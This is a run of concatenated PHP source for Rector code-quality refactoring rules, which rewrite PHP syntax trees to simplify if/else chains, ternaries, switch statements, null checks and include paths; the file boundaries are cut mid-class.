\PhpParser\Node\Expr\BinaryOp\Identical|\PhpParser\Node\Expr\BinaryOp\NotIdentical */ private function resolveInteger(bool $isNegated, Expr $expr) { $lNumber = new LNumber(0); if ($isNegated) { return new Identical($expr, $lNumber); } return new NotIdentical($expr, $lNumber); } /** * @return \PhpParser\Node\Expr\BinaryOp\Identical|\PhpParser\Node\Expr\BinaryOp\NotIdentical */ private function resolveFloat(bool $isNegated, Expr $expr) { $dNumber = new DNumber(0.0); if ($isNegated) { return new Identical($expr, $dNumber); } return new NotIdentical($expr, $dNumber); } /** * @return \PhpParser\Node\Expr\BinaryOp\Identical|\PhpParser\Node\Expr\BinaryOp\NotIdentical */ private function resolveNullable(bool $isNegated, Expr $expr) { $constFetch = $this->nodeFactory->createNull(); if ($isNegated) { return new Identical($expr, $constFetch); } return new NotIdentical($expr, $constFetch); } } > */ public function getNodeTypes() : array { return [If_::class]; } /** * @param If_ $node */ public function refactor(Node $node) : ?Node { return $this->shortenElseIf($node); } private function shortenElseIf(If_ $node) : ?If_ { if (!$node->else instanceof Else_) { return null; } $else = $node->else; if (\count($else->stmts) !== 1) { return null; } $if = $else->stmts[0]; if (!$if instanceof If_) { return null; } // Try to shorten the nested if before transforming it to elseif $refactored = $this->shortenElseIf($if); if ($refactored instanceof If_) { $if = $refactored; } if ($if->stmts === []) { $nop = new Nop(); $nop->setAttribute(AttributeKey::COMMENTS, $if->getComments()); $if->stmts[] = $nop; } else { $currentStmt = \current($if->stmts); $mergedComments = \array_merge($if->getComments(), $currentStmt->getComments()); $currentStmt->setAttribute(AttributeKey::COMMENTS, $mergedComments); } $node->elseifs[] = new ElseIf_($if->cond, $if->stmts); $node->else = $if->else; $node->elseifs = \array_merge($node->elseifs, $if->elseifs); return $node; } } betterStandardPrinter = $betterStandardPrinter; $this->betterNodeFinder = $betterNodeFinder; } public function getRuleDefinition() : RuleDefinition { return new RuleDefinition('Changes if/else for same value as assign to ternary', [new CodeSample(<<<'CODE_SAMPLE' class SomeClass { public function run() { if (empty($value)) { $this->arrayBuilt[][$key] = true; } else { $this->arrayBuilt[][$key] = $value; } } } CODE_SAMPLE , <<<'CODE_SAMPLE' class SomeClass { public function run() { $this->arrayBuilt[][$key] = empty($value) ? true : $value; } } CODE_SAMPLE )]); } /** * @return array> */ public function getNodeTypes() : array { return [If_::class]; } /** * @param If_ $node */ public function refactor(Node $node) : ?Node { if (!$node->else instanceof Else_) { return null; } if ($node->elseifs !== []) { return null; } $ifAssignVarExpr = $this->resolveOnlyStmtAssignVar($node->stmts); if (!$ifAssignVarExpr instanceof Expr) { return null; } $elseAssignExpr = $this->resolveOnlyStmtAssignVar($node->else->stmts); if (!$elseAssignExpr instanceof Expr) { return null; } if (!$this->nodeComparator->areNodesEqual($ifAssignVarExpr, $elseAssignExpr)) { return null; } $ternaryIfExpr = $this->resolveOnlyStmtAssignExpr($node->stmts); $expr = $this->resolveOnlyStmtAssignExpr($node->else->stmts); if (!$ternaryIfExpr instanceof Expr) { return null; } if (!$expr instanceof Expr) { return null; } // has nested ternary → skip, it's super hard to read if ($this->haveNestedTernary([$node->cond, $ternaryIfExpr, $expr])) { return null; } $ternary = new Ternary($node->cond, $ternaryIfExpr, $expr); $assign = new Assign($ifAssignVarExpr, $ternary); // do not create super long lines if ($this->isNodeTooLong($assign)) { return null; } $expression = new Expression($assign); $this->mirrorComments($expression, $node); return $expression; } /** * @param Stmt[] $stmts */ private function resolveOnlyStmtAssignVar(array $stmts) : ?Expr { if (\count($stmts) !== 1) { return null; } $stmt = $stmts[0]; if (!$stmt instanceof Expression) { return null; } $stmtExpr = $stmt->expr; if (!$stmtExpr instanceof Assign) { return null; } return $stmtExpr->var; } /** * @param Stmt[] $stmts */ private function resolveOnlyStmtAssignExpr(array $stmts) : ?Expr { if (\count($stmts) !== 1) { return null; } $stmt = $stmts[0]; if (!$stmt instanceof Expression) { return null; } $stmtExpr = $stmt->expr; if (!$stmtExpr instanceof Assign) { return null; } return $stmtExpr->expr; } /** * @param Node[] $nodes */ private function haveNestedTernary(array $nodes) : bool { foreach ($nodes as $node) { $ternary = $this->betterNodeFinder->findFirstInstanceOf($node, Ternary::class); if ($ternary instanceof Ternary) { return \true; } } return \false; } private function isNodeTooLong(Assign $assign) : bool { $assignContent = $this->betterStandardPrinter->print($assign); return \strlen($assignContent) > self::LINE_LENGTH_LIMIT; } } ifManipulator = $ifManipulator; $this->valueResolver = $valueResolver; } public function getRuleDefinition() : RuleDefinition { return new RuleDefinition('Changes redundant null check to instant return', [new CodeSample(<<<'CODE_SAMPLE' $newNode = 'something'; if ($newNode !== null) { return $newNode; } return null; CODE_SAMPLE , <<<'CODE_SAMPLE' $newNode = 'something'; return $newNode; CODE_SAMPLE )]); } /** * @return array> */ public function getNodeTypes() : array { return [StmtsAwareInterface::class]; } /** * @param StmtsAwareInterface $node */ public function refactor(Node $node) : ?StmtsAwareInterface { foreach ((array) $node->stmts as $key => $stmt) { if (!$stmt instanceof If_) { continue; } if ($stmt->else instanceof Else_) { continue; } if ($stmt->elseifs !== []) { continue; } if (!isset($node->stmts[$key + 1])) { return null; } $nextNode = $node->stmts[$key + 1]; if (!$nextNode instanceof Return_) { continue; } $expr = $this->ifManipulator->matchIfNotNullReturnValue($stmt); if (!$expr instanceof Expr) { continue; } $insideIfNode = $stmt->stmts[0]; if (!$nextNode->expr instanceof Expr) { continue; } if (!$this->valueResolver->isNull($nextNode->expr)) { continue; } unset($node->stmts[$key]); $node->stmts[$key + 1] = $insideIfNode; return $node; } return null; } } ifManipulator = $ifManipulator; $this->assignVariableTypeResolver = $assignVariableTypeResolver; $this->varTagRemover = $varTagRemover; $this->valueResolver = $valueResolver; } public function getRuleDefinition() : RuleDefinition { return new RuleDefinition('Direct return on if nullable check before return', [new CodeSample(<<<'CODE_SAMPLE' class SomeClass { public function run() { $value = $this->get(); if (! $value instanceof \stdClass) { return null; } return $value; } public function get(): ?stdClass { } } CODE_SAMPLE , <<<'CODE_SAMPLE' class SomeClass { public function run() { return $this->get(); } public function get(): ?stdClass { } } CODE_SAMPLE )]); } /** * @return array> */ public function getNodeTypes() : array { return [StmtsAwareInterface::class]; } /** * @param StmtsAwareInterface $node */ public function refactor(Node $node) : ?Node { if ($node->stmts === null) { return null; } foreach ($node->stmts as $key => $stmt) { if (!$stmt instanceof Return_) { continue; } $previousStmt = $node->stmts[$key - 1] ?? null; if (!$previousStmt instanceof If_) { continue; } $if = $previousStmt; if ($this->shouldSkip($if, $stmt)) { continue; } /** @var BooleanNot|Instanceof_ $cond */ $cond = $if->cond; /** @var Instanceof_ $instanceof */ $instanceof = $cond instanceof BooleanNot ? $cond->expr : $cond; // @todo allow property as well $variable = $instanceof->expr; $class = $instanceof->class; if (!$class instanceof Name) { continue; } /** @var Return_ $returnIfStmt */ $returnIfStmt = $if->stmts[0]; if ($this->isIfStmtReturnIncorrect($cond, $variable, $returnIfStmt)) { continue; } $previousPreviousStmt = $node->stmts[$key - 2] ?? null; if (!$previousPreviousStmt instanceof Expression) { continue; } if (!$previousPreviousStmt->expr instanceof Assign) { continue; } $previousPreviousAssign = $previousPreviousStmt->expr; if (!$this->nodeComparator->areNodesEqual($previousPreviousAssign->var, $variable)) { continue; } if ($this->isNextReturnIncorrect($cond, $variable, $stmt)) { continue; } $variableType = $this->assignVariableTypeResolver->resolve($previousPreviousAssign); if (!$variableType instanceof UnionType) { continue; } $className = $class->toString(); $types = $variableType->getTypes(); $directReturn = $this->processSimplifyNullableReturn($variableType, $types, $className, $previousPreviousStmt, $previousPreviousAssign->expr); if (!$directReturn instanceof Return_) { continue; } // unset previous assign unset($node->stmts[$key - 2]); // unset previous if unset($node->stmts[$key - 1]); $node->stmts[$key] = $directReturn; return $node; } return null; } /** * @param \PhpParser\Node\Expr\BooleanNot|\PhpParser\Node\Expr\Instanceof_ $expr */ private function isIfStmtReturnIncorrect($expr, Expr $variable, Return_ $return) : bool { if (!$return->expr instanceof Expr) { return \true; } if ($expr instanceof BooleanNot && !$this->valueResolver->isNull($return->expr)) { return \true; } return $expr instanceof Instanceof_ && !$this->nodeComparator->areNodesEqual($variable, $return->expr); } /** * @param \PhpParser\Node\Expr\BooleanNot|\PhpParser\Node\Expr\Instanceof_ $expr */ private function isNextReturnIncorrect($expr, Expr $variable, Return_ $return) : bool { if (!$return->expr instanceof Expr) { return \true; } if ($expr instanceof BooleanNot && !$this->nodeComparator->areNodesEqual($return->expr, $variable)) { return \true; } return $expr instanceof Instanceof_ && !$this->valueResolver->isNull($return->expr); } /** * @param Type[] $types */ private function processSimplifyNullableReturn(UnionType $unionType, array $types, string $className, Expression $expression, Expr $expr) : ?Return_ { if (\count($types) > 2) { return null; } if ($types[0] instanceof FullyQualifiedObjectType && $types[1] instanceof NullType && $className === $types[0]->getClassName()) { return $this->createDirectReturn($expression, $expr, $unionType); } if ($types[0] instanceof NullType && $types[1] instanceof FullyQualifiedObjectType && $className === $types[1]->getClassName()) { return $this->createDirectReturn($expression, $expr, $unionType); } if ($this->isNotTypedNullable($types, $className)) { return null; } return $this->createDirectReturn($expression, $expr, $unionType); } /** * @param Type[] $types */ private function isNotTypedNullable(array $types, string $className) : bool { if (!$types[0] instanceof ObjectType) { return \true; } if (!$types[1] instanceof NullType) { return \true; } return $className !== $types[0]->getClassName(); } private function createDirectReturn(Expression $expression, Expr $expr, UnionType $unionType) : Return_ { $exprReturn = new Return_($expr); $this->varTagRemover->removeVarPhpTagValueNodeIfNotComment($expression, $unionType); $this->mirrorComments($exprReturn, $expression); return $exprReturn; } private function shouldSkip(If_ $if, Stmt $stmt) : bool { if (!$this->ifManipulator->isIfWithOnly($if, Return_::class)) { return \true; } if (!$stmt instanceof Return_) { return \true; } $cond = $if->cond; if (!$cond instanceof BooleanNot) { return !$cond instanceof Instanceof_; } return !$cond->expr instanceof Instanceof_; } } commentsMerger = $commentsMerger; $this->exprBoolCaster = $exprBoolCaster; $this->betterStandardPrinter = $betterStandardPrinter; $this->valueResolver = $valueResolver; } public function getRuleDefinition() : RuleDefinition { return new RuleDefinition('Shortens if return false/true to direct return', [new CodeSample(<<<'CODE_SAMPLE' if (strpos($docToken->getContent(), "\n") === false) { return true; } return false; CODE_SAMPLE , <<<'CODE_SAMPLE' return strpos($docToken->getContent(), "\n") === false; CODE_SAMPLE )]); } /** * @return array> */ public function getNodeTypes() : array { return [StmtsAwareInterface::class]; } /** * @param StmtsAwareInterface $node */ public function refactor(Node $node) : ?Node { if ($node->stmts === null) { return null; } foreach ($node->stmts as $key => $stmt) { if (!$stmt instanceof Return_) { continue; } $previousStmt = $node->stmts[$key - 1] ?? null; if (!$previousStmt instanceof If_) { continue; } $if = $previousStmt; if ($this->shouldSkipIfAndReturn($previousStmt, $stmt)) { continue; } $return = $stmt; /** @var Return_ $ifInnerNode */ $ifInnerNode = $if->stmts[0]; $innerIfInnerNode = $ifInnerNode->expr; if (!$innerIfInnerNode instanceof Expr) { continue; } $newReturn = $this->resolveReturn($innerIfInnerNode, $if, $return); if (!$newReturn instanceof Return_) { continue; } $this->commentsMerger->keepComments($newReturn, [$if, $return, $ifInnerNode]); // remove previous IF unset($node->stmts[$key - 1]); $node->stmts[$key] = $newReturn; return $node; } return null; } private function shouldSkipIfAndReturn(If_ $if, Return_ $return) : bool { if ($if->elseifs !== []) { return \true; } if (!$this->isIfWithSingleReturnExpr($if)) { return \true; } /** @var Return_ $ifInnerNode */ $ifInnerNode = $if->stmts[0]; /** @var Expr $returnedExpr */ $returnedExpr = $ifInnerNode->expr; if (!$this->valueResolver->isTrueOrFalse($returnedExpr)) { return \true; } if (!$return->expr instanceof Expr) { return \true; } // negate + negate → skip for now if (!$this->valueResolver->isFalse($returnedExpr)) { return !$this->valueResolver->isTrueOrFalse($return->expr); } $condString = $this->betterStandardPrinter->print($if->cond); if (\strpos($condString, '!=') === \false) { return !$this->valueResolver->isTrueOrFalse($return->expr); } return !$if->cond instanceof NotIdentical && !$if->cond instanceof NotEqual; } private function processReturnTrue(If_ $if, Return_ $nextReturn) : Return_ { if ($if->cond instanceof BooleanNot && $nextReturn->expr instanceof Expr && $this->valueResolver->isTrue($nextReturn->expr)) { return new Return_($this->exprBoolCaster->boolCastOrNullCompareIfNeeded($if->cond->expr)); } return new Return_($this->exprBoolCaster->boolCastOrNullCompareIfNeeded($if->cond)); } private function processReturnFalse(If_ $if, Return_ $nextReturn) : ?Return_ { if ($if->cond instanceof Identical) { $notIdentical = new NotIdentical($if->cond->left, $if->cond->right); return new Return_($this->exprBoolCaster->boolCastOrNullCompareIfNeeded($notIdentical)); } if ($if->cond instanceof Equal) { $notIdentical = new NotEqual($if->cond->left, $if->cond->right); return new Return_($this->exprBoolCaster->boolCastOrNullCompareIfNeeded($notIdentical)); } if (!$nextReturn->expr instanceof Expr) { return null; } if (!$this->valueResolver->isTrue($nextReturn->expr)) { return null; } if ($if->cond instanceof BooleanNot) { return new Return_($this->exprBoolCaster->boolCastOrNullCompareIfNeeded($if->cond->expr)); } return new Return_($this->exprBoolCaster->boolCastOrNullCompareIfNeeded(new BooleanNot($if->cond))); } private function isIfWithSingleReturnExpr(If_ $if) : bool { if (\count($if->stmts) !== 1) { return \false; } if ($if->else instanceof Else_ || $if->elseifs !== []) { return \false; } $ifInnerNode = $if->stmts[0]; if (!$ifInnerNode instanceof Return_) { return \false; } // return must have value return $ifInnerNode->expr instanceof Expr; } private function resolveReturn(Expr $innerExpr, If_ $if, Return_ $return) : ?Return_ { if ($this->valueResolver->isTrue($innerExpr)) { return $this->processReturnTrue($if, $return); } if ($this->valueResolver->isFalse($innerExpr)) { /** @var Expr $expr */ $expr = $return->expr; if ($if->cond instanceof NotIdentical && $this->valueResolver->isTrue($expr)) { $if->cond = new Identical($if->cond->left, $if->cond->right); return $this->processReturnTrue($if, $return); } if ($if->cond instanceof NotEqual && $this->valueResolver->isTrue($expr)) { $if->cond = new Equal($if->cond->left, $if->cond->right); return $this->processReturnTrue($if, $return); } return $this->processReturnFalse($if, $return); } return null; } } valueResolver = $valueResolver; } public function getRuleDefinition() : RuleDefinition { return new RuleDefinition('include/require to absolute path. This Rector might introduce backwards incompatible code, when the include/require being changed depends on the current working directory.', [new CodeSample(<<<'CODE_SAMPLE' class SomeClass { public function run() { require 'autoload.php'; require $variable; } } CODE_SAMPLE , <<<'CODE_SAMPLE' class SomeClass { public function run() { require __DIR__ . '/autoload.php'; require $variable; } } CODE_SAMPLE )]); } /** * @return array> */ public function getNodeTypes() : array { return [Include_::class]; } /** * @param Include_ $node */ public function refactor(Node $node) : ?Node { if ($node->expr instanceof Concat && $node->expr->left instanceof String_ && $this->isRefactorableStringPath($node->expr->left)) { $node->expr->left = $this->prefixWithDirConstant($node->expr->left); return $node; } if (!$node->expr instanceof String_) { return null; } if (!$this->isRefactorableStringPath($node->expr)) { return null; } /** @var string $includeValue */ $includeValue = $this->valueResolver->getValue($node->expr); // skip phar if (\strncmp($includeValue, 'phar://', \strlen('phar://')) === 0) { return null; } // skip absolute paths if (\strncmp($includeValue, '/', \strlen('/')) === 0) { return null; } if (\strpos($includeValue, 'config/') !== \false) { return null; } // add preslash to string $node->expr->value = \strncmp($includeValue, './', \strlen('./')) === 0 ? Strings::substring($includeValue, 1) : '/' . $includeValue; $node->expr = $this->prefixWithDirConstant($node->expr); return $node; } private function isRefactorableStringPath(String_ $string) : bool { return \strncmp($string->value, 'phar://', \strlen('phar://')) !== 0; } private function prefixWithDirConstant(String_ $string) : Concat { $this->removeExtraDotSlash($string); $this->prependSlashIfMissing($string); return new Concat(new Dir(), $string); } /** * Remove "./" which would break the path */ private function removeExtraDotSlash(String_ $string) : void { if (\strncmp($string->value, './', \strlen('./')) !== 0) { return; } $string->value = Strings::replace($string->value, '#^\\.\\/#', '/'); } private function prependSlashIfMissing(String_ $string) : void { if (\strncmp($string->value, '/', \strlen('/')) === 0) { return; } $string->value = '/' . $string->value; } } reflectionProvider = $reflectionProvider; $this->reflectionResolver = $reflectionResolver; $this->valueResolver = $valueResolver; } public function getRuleDefinition() : RuleDefinition { return new RuleDefinition('Change isset on property object to property_exists() and not null check', [new CodeSample(<<<'CODE_SAMPLE' class SomeClass { private $x; public function run(): void { isset($this->x); } } CODE_SAMPLE , <<<'CODE_SAMPLE' class SomeClass { private $x; public function run(): void { property_exists($this, 'x') && $this->x !== null; } } CODE_SAMPLE )]); } /** * @return array> */ public function getNodeTypes() : array { return [Isset_::class, BooleanNot::class]; } /** * @param Isset_|BooleanNot $node */ public function refactor(Node $node) : ?Node { $isNegated = \false; if ($node instanceof BooleanNot) { if ($node->expr instanceof Isset_) { $isNegated = \true; $isset = $node->expr; } else { return null; } } else { $isset = $node; } $newNodes = []; foreach ($isset->vars as $issetExpr) { if (!$issetExpr instanceof PropertyFetch) { continue; } // has property PHP 7.4 type? if ($this->shouldSkipForPropertyTypeDeclaration($issetExpr)) { continue; } // Ignore dynamically accessed properties ($o->$p) $propertyFetchName = $this->getName($issetExpr->name); if (!\is_string($propertyFetchName)) { continue; } $classReflection = $this->matchPropertyTypeClassReflection($issetExpr); if (!$classReflection instanceof ClassReflection) { continue; } if (!$classReflection->hasProperty($propertyFetchName) || $classReflection->isBuiltin()) { $newNodes[] = $this->replaceToPropertyExistsWithNullCheck($issetExpr->var, $propertyFetchName, $issetExpr, $isNegated); } elseif ($isNegated) { $newNodes[] = $this->createIdenticalToNull($issetExpr); } else { $newNodes[] = $this->createNotIdenticalToNull($issetExpr); } } return $this->nodeFactory->createReturnBooleanAnd($newNodes); } /** * @return \PhpParser\Node\Expr\BinaryOp\BooleanAnd|\PhpParser\Node\Expr\BinaryOp\BooleanOr */ private function replaceToPropertyExistsWithNullCheck(Expr $expr, string $property, PropertyFetch $propertyFetch, bool $isNegated) { $args = [new Arg($expr), new Arg(new String_($property))]; $propertyExistsFuncCall = $this->nodeFactory->createFuncCall('property_exists', $args); if ($isNegated) { $booleanNot = new BooleanNot($propertyExistsFuncCall); return new BooleanOr($booleanNot, $this->createIdenticalToNull($propertyFetch)); } return new BooleanAnd($propertyExistsFuncCall, $this->createNotIdenticalToNull($propertyFetch)); } private function createNotIdenticalToNull(PropertyFetch $propertyFetch) : NotIdentical { return new NotIdentical($propertyFetch, $this->nodeFactory->createNull()); } private function shouldSkipForPropertyTypeDeclaration(PropertyFetch $propertyFetch) : bool { if (!$propertyFetch->name instanceof Identifier) { return \true; } $phpPropertyReflection = $this->reflectionResolver->resolvePropertyReflectionFromPropertyFetch($propertyFetch); if (!$phpPropertyReflection instanceof PhpPropertyReflection) { return \false; } $propertyType = $phpPropertyReflection->getNativeType(); if ($propertyType instanceof MixedType) { return \false; } if (!TypeCombinator::containsNull($propertyType)) { return \true; } $nativeReflectionProperty = $phpPropertyReflection->getNativeReflection(); if (!$nativeReflectionProperty->hasDefaultValue()) { return \true; } $defaultValueExpr = $nativeReflectionProperty->getDefaultValueExpression(); return !$this->valueResolver->isNull($defaultValueExpr); } private function createIdenticalToNull(PropertyFetch $propertyFetch) : Identical { return new Identical($propertyFetch, $this->nodeFactory->createNull()); } private function matchPropertyTypeClassReflection(PropertyFetch $propertyFetch) : ?ClassReflection { $propertyFetchVarType = $this->getType($propertyFetch->var); if (!$propertyFetchVarType instanceof TypeWithClassName) { return null; } if ($propertyFetchVarType->getClassName() === 'stdClass') { return null; } if (!$this->reflectionProvider->hasClass($propertyFetchVarType->getClassName())) { return null; } return $this->reflectionProvider->getClass($propertyFetchVarType->getClassName()); } } > */ public function getNodeTypes() : array { return [Expression::class]; } /** * @param Expression $node * @return Expression[]|null */ public function refactor(Node $node) : ?array { if (!$node->expr instanceof LogicalAnd) { return null; } $logicalAnd = $node->expr; if (!$logicalAnd->left instanceof Assign) { return null; } if (!$logicalAnd->right instanceof Assign) { return null; } $leftAssignExpression = new Expression($logicalAnd->left); $rightAssignExpression = new Expression($logicalAnd->right); return [$leftAssignExpression, $rightAssignExpression]; } } > */ public function getNodeTypes() : array { return [LogicalOr::class, LogicalAnd::class]; } /** * @param LogicalOr|LogicalAnd $node */ public function refactor(Node $node) : ?Node { return $this->refactorLogicalToBoolean($node); } /** * @param \PhpParser\Node\Expr\BinaryOp\LogicalOr|\PhpParser\Node\Expr\BinaryOp\LogicalAnd $node * @return \PhpParser\Node\Expr\BinaryOp\BooleanAnd|\PhpParser\Node\Expr\BinaryOp\BooleanOr */ private function refactorLogicalToBoolean($node) { if ($node->left instanceof LogicalOr || $node->left instanceof LogicalAnd) { $node->left = $this->refactorLogicalToBoolean($node->left); } if ($node->right instanceof LogicalOr || $node->right instanceof LogicalAnd) { $node->right = $this->refactorLogicalToBoolean($node->right); } if ($node instanceof LogicalOr) { return new BooleanOr($node->left, $node->right); } return new BooleanAnd($node->left, $node->right); } } > */ public function getNodeTypes() : array { return [Class_::class]; } /** * @param Class_ $node */ public function refactor(Node $node) : ?Node { if (!$node->isFinal()) { return null; } $hasChanged = \false; $this->traverseNodesWithCallable($node, function (Node $node) use(&$hasChanged) : ?New_ { if (!$node instanceof New_) { return null; } if (!$this->isName($node->class, ObjectReference::STATIC)) { return null; } $hasChanged = \true; $node->class = new Name(ObjectReference::SELF); return $node; }); if ($hasChanged) { return $node; } return null; } } with same meaning', [new CodeSample(<<<'CODE_SAMPLE' final class SomeClass { public function run($one, $two) { return $one <> $two; } } CODE_SAMPLE , <<<'CODE_SAMPLE' final class SomeClass { public function run($one, $two) { return $one != $two; } } CODE_SAMPLE )]); } /** * @return array> */ public function getNodeTypes() : array { return [NotEqual::class]; } /** * @param NotEqual $node */ public function refactor(Node $node) : ?NotEqual { if (!$this->doesNotEqualContainsShipCompareToken($node)) { return null; } // invoke override to default "!=" $node->setAttribute(AttributeKey::ORIGINAL_NODE, null); return $node; } private function doesNotEqualContainsShipCompareToken(NotEqual $notEqual) : bool { $tokenStartPos = $notEqual->getStartTokenPos(); $tokenEndPos = $notEqual->getEndTokenPos(); for ($i = $tokenStartPos; $i < $tokenEndPos; ++$i) { $token = $this->file->getOldTokens()[$i]; if (!isset($token[1])) { continue; } if ($token[1] === '<>') { return \true; } } return \false; } } returnStrictTypeAnalyzer = $returnStrictTypeAnalyzer; } public function getRuleDefinition() : RuleDefinition { return new RuleDefinition('Cleanup unneeded nullsafe operator', [new CodeSample(<<<'CODE_SAMPLE' class HelloWorld { public function getString(): string { return 'hello world'; } } function get(): HelloWorld { return new HelloWorld(); } echo get()?->getString(); CODE_SAMPLE , <<<'CODE_SAMPLE' class HelloWorld { public function getString(): string { return 'hello world'; } } function get(): HelloWorld { return new HelloWorld(); } echo get()->getString(); CODE_SAMPLE )]); } /** * @return array> */ public function getNodeTypes() : array { return [NullsafeMethodCall::class]; } /** * @param NullsafeMethodCall $node */ public function refactor(Node $node) : ?Node { if (!$node->name instanceof Identifier) { return null; } if (!$node->var instanceof FuncCall && !$node->var instanceof MethodCall && !$node->var instanceof StaticCall) { return null; } $returnType = $this->returnStrictTypeAnalyzer->resolveMethodCallReturnType($node->var); if (!$returnType instanceof ObjectType) { return null; } return new MethodCall($node->var, $node->name, $node->args); } public function provideMinPhpVersion() : int { return PhpVersionFeature::NULLSAFE_OPERATOR; } } switchManipulator = $switchManipulator; } public function getRuleDefinition() : RuleDefinition { return new RuleDefinition('Change switch with only 1 check to if', [new CodeSample(<<<'CODE_SAMPLE' class SomeObject { public function run($value) { $result = 1; switch ($value) { case 100: $result = 1000; } return $result; } } CODE_SAMPLE , <<<'CODE_SAMPLE' class SomeObject { public function run($value) { $result = 1; if ($value === 100) { $result = 1000; } return $result; } } CODE_SAMPLE )]); } /** * @return array> */ public function getNodeTypes() : array { return [Switch_::class]; } /** * @param Switch_ $node * @return Node\Stmt[]|If_|null */ public function refactor(Node $node) { if (\count($node->cases) !== 1) { return null; } $onlyCase = $node->cases[0]; // only default → basically unwrap if (!$onlyCase->cond instanceof Expr) { // remove default clause because it cause syntax error return \array_filter($onlyCase->stmts, static function (Stmt $stmt) : bool { return !$stmt instanceof Break_; }); } $if = new If_(new Identical($node->cond, $onlyCase->cond)); $if->stmts = $this->switchManipulator->removeBreakNodes($onlyCase->stmts); return $if; } } valueResolver = $valueResolver; } public function getRuleDefinition() : RuleDefinition { return new RuleDefinition('Change switch (true) to if statements', [new CodeSample(<<<'CODE_SAMPLE' class SomeClass { public function run() { switch (true) { case $value === 0: return 'no'; case $value === 1: return 'yes'; case $value === 2: return 'maybe'; }; } } CODE_SAMPLE , <<<'CODE_SAMPLE' class SomeClass { public function run() { if ($value === 0) { return 'no'; } if ($value === 1) { return 'yes'; } if ($value === 2) { return 'maybe'; } } } CODE_SAMPLE )]); } /** * @return array> */ public function getNodeTypes() : array { return [Switch_::class]; } /** * @param Switch_ $node * @return Stmt[]|null */ public function refactor(Node $node) : ?array { if (!$this->valueResolver->isTrue($node->cond)) { return null; } $newStmts = []; $defaultCase = null; foreach ($node->cases as $case) { if (!\end($case->stmts) instanceof Return_) { return null; } if (!$case->cond instanceof Expr) { $defaultCase = $case; continue; } $if = new If_($case->cond); $if->stmts = $case->stmts; $newStmts[] = $if; } if ($defaultCase instanceof Case_) { $newStmts = \array_merge($newStmts, $defaultCase->stmts); } if ($newStmts === []) { return null; } return $newStmts; } } valueResolver = $valueResolver; } public function getRuleDefinition() : RuleDefinition { return new RuleDefinition('Change array_key_exists() ternary to coalescing', [new CodeSample(<<<'CODE_SAMPLE' class SomeClass { public function run($values, $keyToMatch) { $result = array_key_exists($keyToMatch, $values) ? $values[$keyToMatch] : null; } } CODE_SAMPLE , <<<'CODE_SAMPLE' class SomeClass { public function run($values, $keyToMatch) { $result = $values[$keyToMatch] ?? null; } } CODE_SAMPLE )]); } /** * @return array> */ public function getNodeTypes() : array { return [Ternary::class]; } /** * @param Ternary $node */ public function refactor(Node $node) : ?Node { if (!$node->cond instanceof FuncCall) { return null; } if (!$this->isName($node->cond, 'array_key_exists')) { return null; } if (!$node->if instanceof ArrayDimFetch) { return null; } if (!$this->areArrayKeysExistsArgsMatchingDimFetch($node->cond, $node->if)) { return null; } if (!$this->valueResolver->isNull($node->else)) { return null; } return new Coalesce($node->if, $node->else); } /** * Equals if: * * array_key_exists($key, $values); * = * $values[$key] */ private function areArrayKeysExistsArgsMatchingDimFetch(FuncCall $funcCall, ArrayDimFetch $arrayDimFetch) : bool { $firstArg = $funcCall->args[0]; if (!$firstArg instanceof Arg) { return \false; } $keyExpr = $firstArg->value; $secondArg = $funcCall->args[1]; if (!$secondArg instanceof Arg) { return \false; } $valuesExpr = $secondArg->value; if (!$this->nodeComparator->areNodesEqual($arrayDimFetch->var, $valuesExpr)) { return \false; } return $this->nodeComparator->areNodesEqual($arrayDimFetch->dim, $keyExpr); } } 100 ? $value : 100; } } CODE_SAMPLE , <<<'CODE_SAMPLE' class SomeClass { public function run($value) { return max($value, 100); } } CODE_SAMPLE )]); } /** * @return array> */ public function getNodeTypes() : array { return [Ternary::class]; } /** * @param Ternary $node */ public function refactor(Node $node) : ?Node { if (!$node->cond instanceof BinaryOp) { return null; } $binaryOp = $node->cond; if (!$this->areIntegersCompared($binaryOp)) { return null; } if ($binaryOp instanceof Smaller || $binaryOp instanceof SmallerOrEqual) { if (!$this->nodeComparator->areNodesEqual($binaryOp->left, $node->else)) { return null; } if (!$this->nodeComparator->areNodesEqual($binaryOp->right, $node->if)) { return null; } return $this->nodeFactory->createFuncCall('max', [$node->if, $node->else]); } if ($binaryOp instanceof Greater || $binaryOp instanceof GreaterOrEqual) { if (!$this->nodeComparator->areNodesEqual($binaryOp->left, $node->if)) { return null; } if (!$this->nodeComparator->areNodesEqual($binaryOp->right, $node->else)) { return null; } return $this->nodeFactory->createFuncCall('max', [$node->if, $node->else]); } return null; } private function areIntegersCompared(BinaryOp $binaryOp) : bool { $leftType = $this->getType($binaryOp->left); if (!$leftType->isInteger()->yes()) { return \false; } $rightType = $this->getType($binaryOp->right); return $rightType->isInteger()->yes(); } } binaryOpManipulator = $binaryOpManipulator; } public function getRuleDefinition() : RuleDefinition { return new RuleDefinition('Simplify tautology ternary to value', [new CodeSample('$value = ($fullyQualifiedTypeHint !== $typeHint) ? $fullyQualifiedTypeHint : $typeHint;', '$value = $fullyQualifiedTypeHint;')]); } /** * @return array> */ public function getNodeTypes() : array { return [Ternary::class]; } /** * @param Ternary $node */ public function refactor(Node $node) : ?Node { if (!$node->cond instanceof NotIdentical && !$node->cond instanceof Identical) { return null; } $twoNodeMatch = $this->binaryOpManipulator->matchFirstAndSecondConditionNode($node->cond, function (Node $leftNode) use($node) : bool { return $this->nodeComparator->areNodesEqual($leftNode, $node->if); }, function (Node $leftNode) use($node) : bool { return $this->nodeComparator->areNodesEqual($leftNode, $node->else); }); if (!$twoNodeMatch instanceof TwoNodeMatch) { return null; } return $node->cond instanceof NotIdentical ? $node->if : $node->else; } } > */ public function getNodeTypes() : array { return [Ternary::class]; } /** * @param Ternary $node */ public function refactor(Node $node) : ?Node { if (!$node->cond instanceof BooleanNot) { return null; } if (!$node->if instanceof Expr) { return null; } $node->cond = $node->cond->expr; [$node->if, $node->else] = [$node->else, $node->if]; if ($node->if instanceof Ternary) { $ternary = $node->if; $ternary->setAttribute(AttributeKey::KIND, 'wrapped_with_brackets'); $ternary->setAttribute(AttributeKey::ORIGINAL_NODE, null); } return $node; } } items) ? $this->items[0] : 'default'; } } CODE_SAMPLE , <<<'CODE_SAMPLE' final class SomeClass { private array $items = []; public function run() { return $this->items[0] ?? 'default'; } } CODE_SAMPLE )]); } /** * @return array> */ public function getNodeTypes() : array { return [Ternary::class]; } /** * @param Ternary $node */ public function refactor(Node $node) : ?Node { if (!$node->cond instanceof BooleanNot) { return null; } $negagedExpr = $node->cond->expr; if (!$negagedExpr instanceof Empty_) { return null; } if (!$node->if 